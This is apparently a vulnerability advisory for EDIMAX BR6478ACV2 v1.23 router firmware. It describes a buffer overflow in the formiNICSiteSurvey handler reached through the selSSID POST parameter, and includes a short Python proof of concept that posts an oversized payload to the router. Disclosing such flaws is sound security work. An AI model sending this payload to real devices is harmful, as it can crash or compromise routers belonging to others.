Overview

Affected version

BR6478ACV2_v1.23

Vulnerability details

The EDIMAX BR6478ACV2_v1.23 firmware has a buffer overflow vulnerability in the formiNICSiteSurvey function. The v3 variables receive the selSSID parameters from a POST request. However, since the user can control the input of these variables, the statement strncpy(v4, a1, v2); can cause a buffer overflow.

image.png

image.png

POC

import requests

ip = "192.168.2.1"

payload = "A"*5000
data = {"done": "1", "selSSID": payload}
url = f'http://{ip}/goform/formiNICSiteSurvey'

res = requests.post(url=url, data=data, verify=False)
print(res)

image.png